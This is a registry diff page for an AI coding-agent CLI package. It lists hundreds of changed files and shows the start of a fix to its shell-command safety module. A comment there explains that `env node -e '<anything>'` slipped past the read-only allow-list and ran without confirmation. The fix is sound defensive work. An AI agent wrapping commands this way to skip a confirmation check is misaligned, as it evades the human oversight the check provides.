@orion-agents/orion-code 0.1.3 → 0.1.4-2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (520) hide show
  1. package/README.md +26 -4
  2. package/README.zh-CN.md +41 -5
  3. package/dist/agents/coder.d.ts.map +1 -1
  4. package/dist/agents/coder.js.map +1 -1
  5. package/dist/agents/fork.d.ts +12 -4
  6. package/dist/agents/fork.d.ts.map +1 -1
  7. package/dist/agents/fork.js +28 -32
  8. package/dist/agents/fork.js.map +1 -1
  9. package/dist/agents/leader.d.ts.map +1 -1
  10. package/dist/agents/leader.js.map +1 -1
  11. package/dist/agents/worker-pool.d.ts.map +1 -1
  12. package/dist/agents/worker-pool.js +38 -29
  13. package/dist/agents/worker-pool.js.map +1 -1
  14. package/dist/cli.d.ts +1 -1
  15. package/dist/cli.d.ts.map +1 -1
  16. package/dist/cli.js +0 -1
  17. package/dist/cli.js.map +1 -1
  18. package/dist/commands/context-commands.d.ts +4 -0
  19. package/dist/commands/context-commands.d.ts.map +1 -0
  20. package/dist/commands/context-commands.js +52 -0
  21. package/dist/commands/context-commands.js.map +1 -0
  22. package/dist/commands/context-tool-command-handlers.d.ts +13 -0
  23. package/dist/commands/context-tool-command-handlers.d.ts.map +1 -0
  24. package/dist/commands/context-tool-command-handlers.js +573 -0
  25. package/dist/commands/context-tool-command-handlers.js.map +1 -0
  26. package/dist/commands/core-command-handlers.d.ts +12 -0
  27. package/dist/commands/core-command-handlers.d.ts.map +1 -0
  28. package/dist/commands/core-command-handlers.js +798 -0
  29. package/dist/commands/core-command-handlers.js.map +1 -0
  30. package/dist/commands/diagnostic-command-handlers.d.ts +14 -0
  31. package/dist/commands/diagnostic-command-handlers.d.ts.map +1 -0
  32. package/dist/commands/diagnostic-command-handlers.js +1043 -0
  33. package/dist/commands/diagnostic-command-handlers.js.map +1 -0
  34. package/dist/commands/diagnostic-commands.d.ts +4 -0
  35. package/dist/commands/diagnostic-commands.d.ts.map +1 -0
  36. package/dist/commands/diagnostic-commands.js +132 -0
  37. package/dist/commands/diagnostic-commands.js.map +1 -0
  38. package/dist/commands/index.d.ts +7 -8
  39. package/dist/commands/index.d.ts.map +1 -1
  40. package/dist/commands/index.js +34 -3562
  41. package/dist/commands/index.js.map +1 -1
  42. package/dist/commands/legacy-commands.d.ts +4 -0
  43. package/dist/commands/legacy-commands.d.ts.map +1 -0
  44. package/dist/commands/legacy-commands.js +44 -0
  45. package/dist/commands/legacy-commands.js.map +1 -0
  46. package/dist/commands/model-command-handlers.d.ts +13 -0
  47. package/dist/commands/model-command-handlers.d.ts.map +1 -0
  48. package/dist/commands/model-command-handlers.js +314 -0
  49. package/dist/commands/model-command-handlers.js.map +1 -0
  50. package/dist/commands/model-commands.d.ts +4 -0
  51. package/dist/commands/model-commands.d.ts.map +1 -0
  52. package/dist/commands/model-commands.js +52 -0
  53. package/dist/commands/model-commands.js.map +1 -0
  54. package/dist/commands/session-command-handlers.d.ts +9 -0
  55. package/dist/commands/session-command-handlers.d.ts.map +1 -0
  56. package/dist/commands/session-command-handlers.js +566 -0
  57. package/dist/commands/session-command-handlers.js.map +1 -0
  58. package/dist/commands/session-commands.d.ts +4 -0
  59. package/dist/commands/session-commands.d.ts.map +1 -0
  60. package/dist/commands/session-commands.js +78 -0
  61. package/dist/commands/session-commands.js.map +1 -0
  62. package/dist/commands/system-commands.d.ts +4 -0
  63. package/dist/commands/system-commands.d.ts.map +1 -0
  64. package/dist/commands/system-commands.js +92 -0
  65. package/dist/commands/system-commands.js.map +1 -0
  66. package/dist/commands/target-command.d.ts.map +1 -1
  67. package/dist/commands/target-command.js +29 -2
  68. package/dist/commands/target-command.js.map +1 -1
  69. package/dist/commands/tool-commands.d.ts +4 -0
  70. package/dist/commands/tool-commands.d.ts.map +1 -0
  71. package/dist/commands/tool-commands.js +49 -0
  72. package/dist/commands/tool-commands.js.map +1 -0
  73. package/dist/commands/types.d.ts +4 -4
  74. package/dist/commands/workflow-command-handlers.d.ts +7 -0
  75. package/dist/commands/workflow-command-handlers.d.ts.map +1 -0
  76. package/dist/commands/workflow-command-handlers.js +35 -0
  77. package/dist/commands/workflow-command-handlers.js.map +1 -0
  78. package/dist/commands/workflow-commands.d.ts +4 -0
  79. package/dist/commands/workflow-commands.d.ts.map +1 -0
  80. package/dist/commands/workflow-commands.js +92 -0
  81. package/dist/commands/workflow-commands.js.map +1 -0
  82. package/dist/core/checkpoint.d.ts +12 -4
  83. package/dist/core/checkpoint.d.ts.map +1 -1
  84. package/dist/core/checkpoint.js +114 -28
  85. package/dist/core/checkpoint.js.map +1 -1
  86. package/dist/core/cost-tracker.d.ts +5 -1
  87. package/dist/core/cost-tracker.d.ts.map +1 -1
  88. package/dist/core/cost-tracker.js +12 -2
  89. package/dist/core/cost-tracker.js.map +1 -1
  90. package/dist/core/warn-dedup.d.ts +3 -0
  91. package/dist/core/warn-dedup.d.ts.map +1 -1
  92. package/dist/core/warn-dedup.js +6 -6
  93. package/dist/core/warn-dedup.js.map +1 -1
  94. package/dist/framework/index.d.ts +1 -1
  95. package/dist/framework/index.d.ts.map +1 -1
  96. package/dist/framework/index.js.map +1 -1
  97. package/dist/framework/prompt.d.ts +2 -2
  98. package/dist/framework/query.d.ts +2 -2
  99. package/dist/framework/query.d.ts.map +1 -1
  100. package/dist/framework/query.js +57 -10
  101. package/dist/framework/query.js.map +1 -1
  102. package/dist/framework/store.d.ts +4 -4
  103. package/dist/framework/tool-scheduler.d.ts +16 -13
  104. package/dist/framework/tool-scheduler.d.ts.map +1 -1
  105. package/dist/framework/tool-scheduler.js +135 -32
  106. package/dist/framework/tool-scheduler.js.map +1 -1
  107. package/dist/framework/tool.d.ts +30 -2
  108. package/dist/framework/tool.d.ts.map +1 -1
  109. package/dist/framework/tool.js +27 -1
  110. package/dist/framework/tool.js.map +1 -1
  111. package/dist/harness/assembler.d.ts.map +1 -1
  112. package/dist/harness/assembler.js +4 -2
  113. package/dist/harness/assembler.js.map +1 -1
  114. package/dist/harness/evidence.d.ts.map +1 -1
  115. package/dist/harness/evidence.js +3 -2
  116. package/dist/harness/evidence.js.map +1 -1
  117. package/dist/harness/safety.d.ts +11 -1
  118. package/dist/harness/safety.d.ts.map +1 -1
  119. package/dist/harness/safety.js +112 -16
  120. package/dist/harness/safety.js.map +1 -1
  121. package/dist/index.d.ts +1 -4
  122. package/dist/index.d.ts.map +1 -1
  123. package/dist/index.js.map +1 -1
  124. package/dist/init.d.ts +4 -8
  125. package/dist/init.d.ts.map +1 -1
  126. package/dist/init.js +4 -4
  127. package/dist/init.js.map +1 -1
  128. package/dist/ink-ui/App.d.ts +2 -2
  129. package/dist/ink-ui/components/Markdown.d.ts.map +1 -1
  130. package/dist/ink-ui/components/Markdown.js.map +1 -1
  131. package/dist/ink-ui/components/PixelHorseBanner.d.ts +2 -2
  132. package/dist/ink-ui/components/StatusLine.d.ts +2 -2
  133. package/dist/ink-ui/launch.d.ts +2 -2
  134. package/dist/ink-ui/screens/ReplScreen.d.ts +2 -2
  135. package/dist/ink-ui/screens/ReplScreen.js.map +1 -1
  136. package/dist/memory/embeddings.d.ts.map +1 -1
  137. package/dist/memory/embeddings.js +3 -2
  138. package/dist/memory/embeddings.js.map +1 -1
  139. package/dist/memory/relevant-finder.d.ts +2 -1
  140. package/dist/memory/relevant-finder.d.ts.map +1 -1
  141. package/dist/memory/relevant-finder.js +17 -8
  142. package/dist/memory/relevant-finder.js.map +1 -1
  143. package/dist/memory/semantic-config.d.ts +9 -0
  144. package/dist/memory/semantic-config.d.ts.map +1 -0
  145. package/dist/memory/semantic-config.js +16 -0
  146. package/dist/memory/semantic-config.js.map +1 -0
  147. package/dist/memory/semantic-search.d.ts +1 -6
  148. package/dist/memory/semantic-search.d.ts.map +1 -1
  149. package/dist/memory/semantic-search.js +5 -16
  150. package/dist/memory/semantic-search.js.map +1 -1
  151. package/dist/memory/storage.d.ts +23 -0
  152. package/dist/memory/storage.d.ts.map +1 -1
  153. package/dist/memory/storage.js +109 -8
  154. package/dist/memory/storage.js.map +1 -1
  155. package/dist/memory/vector-store.d.ts +12 -0
  156. package/dist/memory/vector-store.d.ts.map +1 -1
  157. package/dist/memory/vector-store.js +139 -18
  158. package/dist/memory/vector-store.js.map +1 -1
  159. package/dist/migration/command.d.ts.map +1 -1
  160. package/dist/migration/command.js +0 -1
  161. package/dist/migration/command.js.map +1 -1
  162. package/dist/migration/migrate.d.ts.map +1 -1
  163. package/dist/migration/migrate.js +43 -109
  164. package/dist/migration/migrate.js.map +1 -1
  165. package/dist/migration/types.d.ts +0 -1
  166. package/dist/migration/types.d.ts.map +1 -1
  167. package/dist/print-ui/launch.d.ts +10 -3
  168. package/dist/print-ui/launch.d.ts.map +1 -1
  169. package/dist/print-ui/launch.js +18 -0
  170. package/dist/print-ui/launch.js.map +1 -1
  171. package/dist/product/environment.d.ts +3 -5
  172. package/dist/product/environment.d.ts.map +1 -1
  173. package/dist/product/environment.js +4 -32
  174. package/dist/product/environment.js.map +1 -1
  175. package/dist/product/index.d.ts +1 -1
  176. package/dist/product/index.d.ts.map +1 -1
  177. package/dist/product/index.js +1 -3
  178. package/dist/product/index.js.map +1 -1
  179. package/dist/product/paths.d.ts.map +1 -1
  180. package/dist/product/paths.js +12 -0
  181. package/dist/product/paths.js.map +1 -1
  182. package/dist/runtime/agent-runtime-controller.d.ts +2 -2
  183. package/dist/runtime/agent-runtime-protocol.d.ts +4 -1
  184. package/dist/runtime/agent-runtime-protocol.d.ts.map +1 -1
  185. package/dist/runtime/agent-runtime-protocol.js +6 -0
  186. package/dist/runtime/agent-runtime-protocol.js.map +1 -1
  187. package/dist/runtime/chat-checkpoint.d.ts +17 -0
  188. package/dist/runtime/chat-checkpoint.d.ts.map +1 -0
  189. package/dist/runtime/chat-checkpoint.js +108 -0
  190. package/dist/runtime/chat-checkpoint.js.map +1 -0
  191. package/dist/runtime/chat-controller.d.ts +10 -46
  192. package/dist/runtime/chat-controller.d.ts.map +1 -1
  193. package/dist/runtime/chat-controller.js +199 -1051
  194. package/dist/runtime/chat-controller.js.map +1 -1
  195. package/dist/runtime/chat-presentation.d.ts +60 -0
  196. package/dist/runtime/chat-presentation.d.ts.map +1 -0
  197. package/dist/runtime/chat-presentation.js +537 -0
  198. package/dist/runtime/chat-presentation.js.map +1 -0
  199. package/dist/runtime/chat-trace.d.ts +52 -0
  200. package/dist/runtime/chat-trace.d.ts.map +1 -0
  201. package/dist/runtime/chat-trace.js +234 -0
  202. package/dist/runtime/chat-trace.js.map +1 -0
  203. package/dist/runtime/chat-workspace.d.ts +22 -0
  204. package/dist/runtime/chat-workspace.d.ts.map +1 -0
  205. package/dist/runtime/chat-workspace.js +154 -0
  206. package/dist/runtime/chat-workspace.js.map +1 -0
  207. package/dist/runtime/goals/accounting.js +1 -1
  208. package/dist/runtime/goals/accounting.js.map +1 -1
  209. package/dist/runtime/goals/completion-audit.d.ts.map +1 -1
  210. package/dist/runtime/goals/completion-audit.js +5 -4
  211. package/dist/runtime/goals/completion-audit.js.map +1 -1
  212. package/dist/runtime/goals/coordinator.d.ts +3 -0
  213. package/dist/runtime/goals/coordinator.d.ts.map +1 -1
  214. package/dist/runtime/goals/coordinator.js +30 -2
  215. package/dist/runtime/goals/coordinator.js.map +1 -1
  216. package/dist/runtime/goals/prompt.d.ts +1 -1
  217. package/dist/runtime/goals/prompt.d.ts.map +1 -1
  218. package/dist/runtime/goals/prompt.js +3 -2
  219. package/dist/runtime/goals/prompt.js.map +1 -1
  220. package/dist/runtime/goals/tools.d.ts +21 -8
  221. package/dist/runtime/goals/tools.d.ts.map +1 -1
  222. package/dist/runtime/goals/tools.js +141 -10
  223. package/dist/runtime/goals/tools.js.map +1 -1
  224. package/dist/runtime/loop-budget.d.ts +2 -2
  225. package/dist/runtime/model-coordinator.d.ts.map +1 -1
  226. package/dist/runtime/model-coordinator.js.map +1 -1
  227. package/dist/runtime/subagents/child-executor-guard.d.ts.map +1 -1
  228. package/dist/runtime/subagents/child-executor-guard.js +4 -0
  229. package/dist/runtime/subagents/child-executor-guard.js.map +1 -1
  230. package/dist/runtime/subagents/index.d.ts +10 -3
  231. package/dist/runtime/subagents/index.d.ts.map +1 -1
  232. package/dist/runtime/subagents/index.js +25 -1
  233. package/dist/runtime/subagents/index.js.map +1 -1
  234. package/dist/runtime/subagents/policy.d.ts +1 -1
  235. package/dist/runtime/subagents/policy.d.ts.map +1 -1
  236. package/dist/runtime/subagents/policy.js.map +1 -1
  237. package/dist/runtime/subagents/presets.d.ts +2 -2
  238. package/dist/runtime/subagents/provider-gate.d.ts.map +1 -1
  239. package/dist/runtime/subagents/provider-gate.js +0 -1
  240. package/dist/runtime/subagents/provider-gate.js.map +1 -1
  241. package/dist/runtime/subagents/research-artifact.d.ts +101 -0
  242. package/dist/runtime/subagents/research-artifact.d.ts.map +1 -0
  243. package/dist/runtime/subagents/research-artifact.js +210 -0
  244. package/dist/runtime/subagents/research-artifact.js.map +1 -0
  245. package/dist/runtime/subagents/research-citation.d.ts +66 -0
  246. package/dist/runtime/subagents/research-citation.d.ts.map +1 -0
  247. package/dist/runtime/subagents/research-citation.js +185 -0
  248. package/dist/runtime/subagents/research-citation.js.map +1 -0
  249. package/dist/runtime/subagents/research-contract.d.ts +83 -0
  250. package/dist/runtime/subagents/research-contract.d.ts.map +1 -0
  251. package/dist/runtime/subagents/research-contract.js +337 -0
  252. package/dist/runtime/subagents/research-contract.js.map +1 -0
  253. package/dist/runtime/subagents/research-quality.d.ts +47 -0
  254. package/dist/runtime/subagents/research-quality.d.ts.map +1 -0
  255. package/dist/runtime/subagents/research-quality.js +125 -0
  256. package/dist/runtime/subagents/research-quality.js.map +1 -0
  257. package/dist/runtime/subagents/research-renderer.d.ts +95 -0
  258. package/dist/runtime/subagents/research-renderer.d.ts.map +1 -0
  259. package/dist/runtime/subagents/research-renderer.js +186 -0
  260. package/dist/runtime/subagents/research-renderer.js.map +1 -0
  261. package/dist/runtime/subagents/research-types.d.ts +105 -0
  262. package/dist/runtime/subagents/research-types.d.ts.map +1 -0
  263. package/dist/runtime/subagents/research-types.js +16 -0
  264. package/dist/runtime/subagents/research-types.js.map +1 -0
  265. package/dist/runtime/subagents/result-parser.d.ts +1 -5
  266. package/dist/runtime/subagents/result-parser.d.ts.map +1 -1
  267. package/dist/runtime/subagents/result-parser.js +5 -72
  268. package/dist/runtime/subagents/result-parser.js.map +1 -1
  269. package/dist/runtime/subagents/runtime-integration.d.ts +13 -7
  270. package/dist/runtime/subagents/runtime-integration.d.ts.map +1 -1
  271. package/dist/runtime/subagents/runtime-integration.js +112 -2
  272. package/dist/runtime/subagents/runtime-integration.js.map +1 -1
  273. package/dist/runtime/subagents/supervisor.d.ts +15 -1
  274. package/dist/runtime/subagents/supervisor.d.ts.map +1 -1
  275. package/dist/runtime/subagents/supervisor.js +58 -3
  276. package/dist/runtime/subagents/supervisor.js.map +1 -1
  277. package/dist/runtime/subagents/tool.d.ts +2 -2
  278. package/dist/runtime/subagents/tool.d.ts.map +1 -1
  279. package/dist/runtime/subagents/tool.js +129 -9
  280. package/dist/runtime/subagents/tool.js.map +1 -1
  281. package/dist/runtime/subagents/types.d.ts +20 -0
  282. package/dist/runtime/subagents/types.d.ts.map +1 -1
  283. package/dist/runtime/subagents/types.js.map +1 -1
  284. package/dist/runtime/subagents/web-research-adapter.d.ts +85 -0
  285. package/dist/runtime/subagents/web-research-adapter.d.ts.map +1 -0
  286. package/dist/runtime/subagents/web-research-adapter.js +328 -0
  287. package/dist/runtime/subagents/web-research-adapter.js.map +1 -0
  288. package/dist/runtime/ui-events.d.ts +8 -8
  289. package/dist/runtime/ui-events.d.ts.map +1 -1
  290. package/dist/runtime/ui-events.js.map +1 -1
  291. package/dist/runtime/ui-view-model.d.ts +40 -0
  292. package/dist/runtime/ui-view-model.d.ts.map +1 -1
  293. package/dist/runtime/ui-view-model.js +126 -0
  294. package/dist/runtime/ui-view-model.js.map +1 -1
  295. package/dist/services/agent-runner.d.ts +5 -2
  296. package/dist/services/agent-runner.d.ts.map +1 -1
  297. package/dist/services/agent-runner.js +18 -18
  298. package/dist/services/agent-runner.js.map +1 -1
  299. package/dist/services/atomic-write.d.ts +9 -1
  300. package/dist/services/atomic-write.d.ts.map +1 -1
  301. package/dist/services/atomic-write.js +55 -2
  302. package/dist/services/atomic-write.js.map +1 -1
  303. package/dist/services/auth/auth.d.ts +11 -7
  304. package/dist/services/auth/auth.d.ts.map +1 -1
  305. package/dist/services/auth/auth.js +133 -34
  306. package/dist/services/auth/auth.js.map +1 -1
  307. package/dist/services/auth/aws.d.ts +2 -0
  308. package/dist/services/auth/aws.d.ts.map +1 -1
  309. package/dist/services/auth/aws.js +126 -12
  310. package/dist/services/auth/aws.js.map +1 -1
  311. package/dist/services/auth/index.d.ts +1 -1
  312. package/dist/services/auth/index.d.ts.map +1 -1
  313. package/dist/services/auth/index.js +2 -1
  314. package/dist/services/auth/index.js.map +1 -1
  315. package/dist/services/auto-fix/autoFixConfig.d.ts +0 -3
  316. package/dist/services/auto-fix/autoFixConfig.d.ts.map +1 -1
  317. package/dist/services/auto-fix/autoFixConfig.js +25 -8
  318. package/dist/services/auto-fix/autoFixConfig.js.map +1 -1
  319. package/dist/services/auto-fix/autoFixHook.d.ts +7 -0
  320. package/dist/services/auto-fix/autoFixHook.d.ts.map +1 -1
  321. package/dist/services/auto-fix/autoFixHook.js +10 -1
  322. package/dist/services/auto-fix/autoFixHook.js.map +1 -1
  323. package/dist/services/compact/auto-compact.d.ts +2 -0
  324. package/dist/services/compact/auto-compact.d.ts.map +1 -1
  325. package/dist/services/compact/auto-compact.js +15 -1
  326. package/dist/services/compact/auto-compact.js.map +1 -1
  327. package/dist/services/compact/compact.d.ts.map +1 -1
  328. package/dist/services/compact/compact.js +9 -11
  329. package/dist/services/compact/compact.js.map +1 -1
  330. package/dist/services/compact/summary-generator.d.ts.map +1 -1
  331. package/dist/services/compact/summary-generator.js +28 -4
  332. package/dist/services/compact/summary-generator.js.map +1 -1
  333. package/dist/services/compact/tool-call-groups.d.ts +19 -0
  334. package/dist/services/compact/tool-call-groups.d.ts.map +1 -0
  335. package/dist/services/compact/tool-call-groups.js +105 -0
  336. package/dist/services/compact/tool-call-groups.js.map +1 -0
  337. package/dist/services/concurrent-sessions.d.ts +4 -0
  338. package/dist/services/concurrent-sessions.d.ts.map +1 -1
  339. package/dist/services/concurrent-sessions.js +76 -21
  340. package/dist/services/concurrent-sessions.js.map +1 -1
  341. package/dist/services/config-dir.d.ts.map +1 -1
  342. package/dist/services/config-dir.js +19 -5
  343. package/dist/services/config-dir.js.map +1 -1
  344. package/dist/services/config.d.ts +6 -4
  345. package/dist/services/config.d.ts.map +1 -1
  346. package/dist/services/config.js +14 -71
  347. package/dist/services/config.js.map +1 -1
  348. package/dist/services/doctor.d.ts +2 -2
  349. package/dist/services/doctor.js.map +1 -1
  350. package/dist/services/file-glob.d.ts.map +1 -1
  351. package/dist/services/file-glob.js +22 -2
  352. package/dist/services/file-glob.js.map +1 -1
  353. package/dist/services/file-lock.d.ts +7 -0
  354. package/dist/services/file-lock.d.ts.map +1 -0
  355. package/dist/services/file-lock.js +139 -0
  356. package/dist/services/file-lock.js.map +1 -0
  357. package/dist/services/global-config.d.ts +2 -0
  358. package/dist/services/global-config.d.ts.map +1 -1
  359. package/dist/services/global-config.js +67 -4
  360. package/dist/services/global-config.js.map +1 -1
  361. package/dist/services/goal-storage.d.ts.map +1 -1
  362. package/dist/services/goal-storage.js +52 -19
  363. package/dist/services/goal-storage.js.map +1 -1
  364. package/dist/services/llm.d.ts +12 -0
  365. package/dist/services/llm.d.ts.map +1 -1
  366. package/dist/services/llm.js +166 -69
  367. package/dist/services/llm.js.map +1 -1
  368. package/dist/services/mcp/transports.d.ts +0 -1
  369. package/dist/services/mcp/transports.d.ts.map +1 -1
  370. package/dist/services/mcp/transports.js +12 -13
  371. package/dist/services/mcp/transports.js.map +1 -1
  372. package/dist/services/model-context.d.ts +8 -0
  373. package/dist/services/model-context.d.ts.map +1 -1
  374. package/dist/services/model-context.js +111 -7
  375. package/dist/services/model-context.js.map +1 -1
  376. package/dist/services/provider-resilience/coordinator.d.ts +9 -4
  377. package/dist/services/provider-resilience/coordinator.d.ts.map +1 -1
  378. package/dist/services/provider-resilience/coordinator.js +88 -21
  379. package/dist/services/provider-resilience/coordinator.js.map +1 -1
  380. package/dist/services/provider-resilience/error-classifier.d.ts +1 -0
  381. package/dist/services/provider-resilience/error-classifier.d.ts.map +1 -1
  382. package/dist/services/provider-resilience/error-classifier.js +50 -29
  383. package/dist/services/provider-resilience/error-classifier.js.map +1 -1
  384. package/dist/services/provider-resilience/index.d.ts +3 -3
  385. package/dist/services/provider-resilience/index.d.ts.map +1 -1
  386. package/dist/services/provider-resilience/index.js +3 -1
  387. package/dist/services/provider-resilience/index.js.map +1 -1
  388. package/dist/services/provider-resilience/request-gate.d.ts +6 -0
  389. package/dist/services/provider-resilience/request-gate.d.ts.map +1 -1
  390. package/dist/services/provider-resilience/request-gate.js +24 -9
  391. package/dist/services/provider-resilience/request-gate.js.map +1 -1
  392. package/dist/services/provider-resilience/stream-recovery.d.ts +1 -1
  393. package/dist/services/provider-resilience/stream-recovery.d.ts.map +1 -1
  394. package/dist/services/provider-resilience/stream-recovery.js +1 -1
  395. package/dist/services/provider-resilience/stream-recovery.js.map +1 -1
  396. package/dist/services/provider-resilience/types.d.ts +9 -0
  397. package/dist/services/provider-resilience/types.d.ts.map +1 -1
  398. package/dist/services/provider-resilience/types.js.map +1 -1
  399. package/dist/services/redaction.d.ts.map +1 -1
  400. package/dist/services/redaction.js +29 -1
  401. package/dist/services/redaction.js.map +1 -1
  402. package/dist/services/session-index.d.ts.map +1 -1
  403. package/dist/services/session-index.js +75 -44
  404. package/dist/services/session-index.js.map +1 -1
  405. package/dist/services/session-memory/sessionMemory.d.ts.map +1 -1
  406. package/dist/services/session-memory/sessionMemory.js +6 -3
  407. package/dist/services/session-memory/sessionMemory.js.map +1 -1
  408. package/dist/services/session-storage.d.ts +8 -0
  409. package/dist/services/session-storage.d.ts.map +1 -1
  410. package/dist/services/session-storage.js +105 -27
  411. package/dist/services/session-storage.js.map +1 -1
  412. package/dist/services/storage-maintenance.d.ts.map +1 -1
  413. package/dist/services/storage-maintenance.js +62 -9
  414. package/dist/services/storage-maintenance.js.map +1 -1
  415. package/dist/services/task-manager.d.ts +9 -4
  416. package/dist/services/task-manager.d.ts.map +1 -1
  417. package/dist/services/task-manager.js +18 -4
  418. package/dist/services/task-manager.js.map +1 -1
  419. package/dist/services/usage-state.d.ts +1 -0
  420. package/dist/services/usage-state.d.ts.map +1 -1
  421. package/dist/services/usage-state.js +81 -45
  422. package/dist/services/usage-state.js.map +1 -1
  423. package/dist/services/verification-profile.d.ts.map +1 -1
  424. package/dist/services/verification-profile.js +23 -3
  425. package/dist/services/verification-profile.js.map +1 -1
  426. package/dist/services/web-search-adapters.d.ts.map +1 -1
  427. package/dist/services/web-search-adapters.js +48 -18
  428. package/dist/services/web-search-adapters.js.map +1 -1
  429. package/dist/services/web-search-mcp.d.ts.map +1 -1
  430. package/dist/services/web-search-mcp.js +27 -11
  431. package/dist/services/web-search-mcp.js.map +1 -1
  432. package/dist/services/workspace-diff.d.ts +14 -0
  433. package/dist/services/workspace-diff.d.ts.map +1 -1
  434. package/dist/services/workspace-diff.js +60 -11
  435. package/dist/services/workspace-diff.js.map +1 -1
  436. package/dist/services/yaml-config.d.ts.map +1 -1
  437. package/dist/services/yaml-config.js +2 -1
  438. package/dist/services/yaml-config.js.map +1 -1
  439. package/dist/skills/loader.d.ts.map +1 -1
  440. package/dist/skills/loader.js +26 -11
  441. package/dist/skills/loader.js.map +1 -1
  442. package/dist/skills/runtime.d.ts +3 -3
  443. package/dist/skills/runtime.d.ts.map +1 -1
  444. package/dist/skills/runtime.js +37 -4
  445. package/dist/skills/runtime.js.map +1 -1
  446. package/dist/skills/types.d.ts +1 -1
  447. package/dist/skills/types.d.ts.map +1 -1
  448. package/dist/terminal-ui/launch.d.ts +16 -8
  449. package/dist/terminal-ui/launch.d.ts.map +1 -1
  450. package/dist/terminal-ui/launch.js +26 -0
  451. package/dist/terminal-ui/launch.js.map +1 -1
  452. package/dist/terminal-ui/raw-editor.js.map +1 -1
  453. package/dist/tools/bash_security.d.ts +58 -18
  454. package/dist/tools/bash_security.d.ts.map +1 -1
  455. package/dist/tools/bash_security.js +587 -80
  456. package/dist/tools/bash_security.js.map +1 -1
  457. package/dist/tools/git.d.ts +8 -8
  458. package/dist/tools/git.d.ts.map +1 -1
  459. package/dist/tools/git.js +248 -55
  460. package/dist/tools/git.js.map +1 -1
  461. package/dist/tools/index.d.ts +14 -4
  462. package/dist/tools/index.d.ts.map +1 -1
  463. package/dist/tools/index.js +236 -42
  464. package/dist/tools/index.js.map +1 -1
  465. package/dist/tools/lsp.d.ts +74 -6
  466. package/dist/tools/lsp.d.ts.map +1 -1
  467. package/dist/tools/lsp.js +24 -5
  468. package/dist/tools/lsp.js.map +1 -1
  469. package/dist/tools/mcp.d.ts +19 -6
  470. package/dist/tools/mcp.d.ts.map +1 -1
  471. package/dist/tools/mcp.js +143 -26
  472. package/dist/tools/mcp.js.map +1 -1
  473. package/dist/tools/plan.d.ts +4 -4
  474. package/dist/tools/sandbox.d.ts +3 -1
  475. package/dist/tools/sandbox.d.ts.map +1 -1
  476. package/dist/tools/sandbox.js +28 -13
  477. package/dist/tools/sandbox.js.map +1 -1
  478. package/dist/tools/todo.d.ts +3 -3
  479. package/dist/tools/web.d.ts +15 -4
  480. package/dist/tools/web.d.ts.map +1 -1
  481. package/dist/tools/web.js +240 -26
  482. package/dist/tools/web.js.map +1 -1
  483. package/dist/tui-core/frame.js.map +1 -1
  484. package/dist/tui-ui/launch.d.ts +3 -3
  485. package/dist/tui-ui/layout.d.ts.map +1 -1
  486. package/dist/tui-ui/layout.js +2 -0
  487. package/dist/tui-ui/layout.js.map +1 -1
  488. package/dist/tui-ui/runner.d.ts.map +1 -1
  489. package/dist/tui-ui/runner.js +1 -0
  490. package/dist/tui-ui/runner.js.map +1 -1
  491. package/dist/tui-ui/state.d.ts +9 -1
  492. package/dist/tui-ui/state.d.ts.map +1 -1
  493. package/dist/tui-ui/state.js +13 -0
  494. package/dist/tui-ui/state.js.map +1 -1
  495. package/dist/ui/markdown.js.map +1 -1
  496. package/dist/utils/debug-log.d.ts +52 -0
  497. package/dist/utils/debug-log.d.ts.map +1 -0
  498. package/dist/utils/debug-log.js +94 -0
  499. package/dist/utils/debug-log.js.map +1 -0
  500. package/dist/utils/errors.d.ts +25 -0
  501. package/dist/utils/errors.d.ts.map +1 -0
  502. package/dist/utils/errors.js +47 -0
  503. package/dist/utils/errors.js.map +1 -0
  504. package/dist/utils/json.d.ts +6 -0
  505. package/dist/utils/json.d.ts.map +1 -0
  506. package/dist/utils/json.js +66 -0
  507. package/dist/utils/json.js.map +1 -0
  508. package/dist/utils/mask.d.ts +8 -1
  509. package/dist/utils/mask.d.ts.map +1 -1
  510. package/dist/utils/mask.js +10 -12
  511. package/dist/utils/mask.js.map +1 -1
  512. package/dist/utils/observability.d.ts +22 -0
  513. package/dist/utils/observability.d.ts.map +1 -0
  514. package/dist/utils/observability.js +80 -0
  515. package/dist/utils/observability.js.map +1 -0
  516. package/dist/utils/token-estimate.d.ts +8 -0
  517. package/dist/utils/token-estimate.d.ts.map +1 -1
  518. package/dist/utils/token-estimate.js +30 -17
  519. package/dist/utils/token-estimate.js.map +1 -1
  520. package/package.json +8 -7
@@ -5,13 +5,14 @@
5
5
  * Provides safety checks and sandbox options for command execution.
6
6
  */
7
7
  Object.defineProperty(exports, "__esModule", { value: true });
8
- exports.DEFAULT_SANDBOX_OPTIONS = exports.POTENTIALLY_DESTRUCTIVE_PATTERNS = exports.DANGEROUS_PATTERNS = exports.VALIDATION_COMMAND_PATTERNS = exports.READ_ONLY_COMMANDS = void 0;
8
+ exports.POTENTIALLY_DESTRUCTIVE_PATTERNS = exports.DANGEROUS_PATTERNS = exports.VALIDATION_COMMAND_PATTERNS = exports.READ_ONLY_SUBCOMMANDS = exports.READ_ONLY_COMMANDS = void 0;
9
+ exports.scanShellCommand = scanShellCommand;
9
10
  exports.isReadOnlyCommand = isReadOnlyCommand;
10
11
  exports.isValidationCommand = isValidationCommand;
12
+ exports.findDestructiveRmTarget = findDestructiveRmTarget;
11
13
  exports.checkDangerousCommand = checkDangerousCommand;
12
14
  exports.isPotentiallyDestructive = isPotentiallyDestructive;
13
15
  exports.assessCommandSecurity = assessCommandSecurity;
14
- exports.wrapForSandbox = wrapForSandbox;
15
16
  /**
16
17
  * Commands that are considered read-only and safe to execute without confirmation.
17
18
  * These commands only read data and do not modify the filesystem.
@@ -85,7 +86,11 @@ exports.READ_ONLY_COMMANDS = [
85
86
  // System info
86
87
  'echo',
87
88
  'printenv',
88
- 'env',
89
+ // NOTE: `env` is deliberately absent. It is a command wrapper
90
+ // (`env [NAME=VALUE]... COMMAND [ARG]...`), not a read-only command, so
91
+ // allow-listing it classified `env node -e '<anything>'` as safe and ran it
92
+ // without confirmation. A bare `env` (no wrapped command) still resolves to
93
+ // read-only through unwrapCommandWrappers().
89
94
  'whoami',
90
95
  'hostname',
91
96
  'date',
@@ -96,13 +101,14 @@ exports.READ_ONLY_COMMANDS = [
96
101
  'id',
97
102
  'groups',
98
103
  'getent',
99
- // Network info (read-only)
104
+ // Network *info* (read-only, no remote response / no exfiltration primitive).
105
